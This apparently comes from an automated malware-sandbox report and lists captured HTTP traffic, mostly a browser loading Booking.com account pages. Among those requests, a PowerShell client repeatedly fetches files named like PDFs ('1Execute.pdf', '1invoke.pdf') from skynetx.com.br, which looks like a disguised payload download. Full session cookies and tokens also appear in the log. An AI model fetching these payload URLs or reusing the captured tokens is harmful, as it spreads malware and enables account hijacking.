Source: global traffic	HTTP traffic detected: GET /analytics.js?ca=accountsportal HTTP/1.1Host: saa.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
Source: global traffic	HTTP traffic detected: GET /_/fvtrpw.gif HTTP/1.1Host: account.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_ap=U2FsdGVkX1%2BPnicAhHdzp65UiOyANjf0xTonF7cgkMdJjUzVc0STBb%2Bx2Avxy0hdK%2FGq53sdWfNS%0ArfNIOZyzTQ%3D%3D%0A; bkng_sso_session=e30; bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJzZXNzaW9ucyI6W10sImRhdGFfc3ViamVjdF9pZCI6ImFhNzkyODE2LWFlZGUtNDhiNy04OTcwLWI2NzU0NGFmMTQyMSJ9fQ
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/runtime~index_a9240719fc64a8f3ef82.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/987_175b3de059909b49ef78.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/629_b3ab60a933ee60003b06.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/133_878a17a1dd9684883a3d.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/54_97d049b4c4a1c2f7cfdb.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/624_96ca1b056e9464729f28.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/991_e4e85086dbd38ceb248f.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/987_175b3de059909b49ef78.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/704_e7ede50c1fdac354671b.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/709_bad9882915aa6a1c2b70.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/index_ddf778f4f644e59e0e78.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1xx.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/133_878a17a1dd9684883a3d.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libs/privacy-consent/1.0.0/partner/cookie-banner.min.js HTTP/1.1Host: www.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/629_b3ab60a933ee60003b06.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1type.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /scripttemplates/otSDKStub.js HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/991_e4e85086dbd38ceb248f.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1tronvbs.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://account.booking.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/otSDKStub.js HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookieconsentpub/v1/geo/location HTTP/1.1Host: geolocation.onetrust.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://account.booking.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1Execute.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /scripttemplates/202408.1.0/otBannerSdk.js HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookieconsentpub/v1/geo/location HTTP/1.1Host: geolocation.onetrust.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1Framework.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /libs/privacy-consent/1.0.0/partner/cookie-banner.min.js HTTP/1.1Host: www.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /asset.76f4cfe389ea593cf33909bbcedb7949.js HTTP/1.1Host: saa.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
Source: global traffic	HTTP traffic detected: GET /libs/acc-clientlib/v5/clientlib.js HTTP/1.1Host: xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/index_ddf778f4f644e59e0e78.js HTTP/1.1Host: cf.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libs/datavisor/20231228/sdk.js HTTP/1.1Host: xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/0191ffb2-0224-7614-89a9-ce4becc49775/en-us.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://account.booking.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/202408.1.0/otBannerSdk.js HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/1invoke.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.br
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b0bkldkg6hejew1y.js?hs1wxq1xi0kkzaob=doregtzf&7vh2vy0pyfc6f8vk=1a0be17c-3152-46c0-a97b-914483824c57 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
Source: global traffic	HTTP traffic detected: GET /js-metric?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI HTTP/1.1Host: account.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; bkng_ap=U2FsdGVkX19rHEBu7NB9TsVkR6OJKwfTMsB4rkFqG86Z1VBMU74WiNVk2tdncYp1wmL%2BPAwmflh9%0Aj%2FLZjnGztA%3D%3D%0A; bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiJhYTc5MjgxNi1hZWRlLTQ4YjctODk3MC1iNjc1NDRhZjE0MjEiLCJzZXNzaW9ucyI6W119fQ
Source: global traffic	HTTP traffic detected: GET /design-assets/assets/v3.58.1/fonts-brand/BookingExtraBold.woff HTTP/1.1Host: t-cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://account.booking.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cf.bstatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /asset.76f4cfe389ea593cf33909bbcedb7949.js HTTP/1.1Host: saa.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30
Source: global traffic	HTTP traffic detected: GET /ec/c.html?name=ecid HTTP/1.1Host: saa.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://account.booking.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/0191ffb2-0224-7614-89a9-ce4becc49775/en-us.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
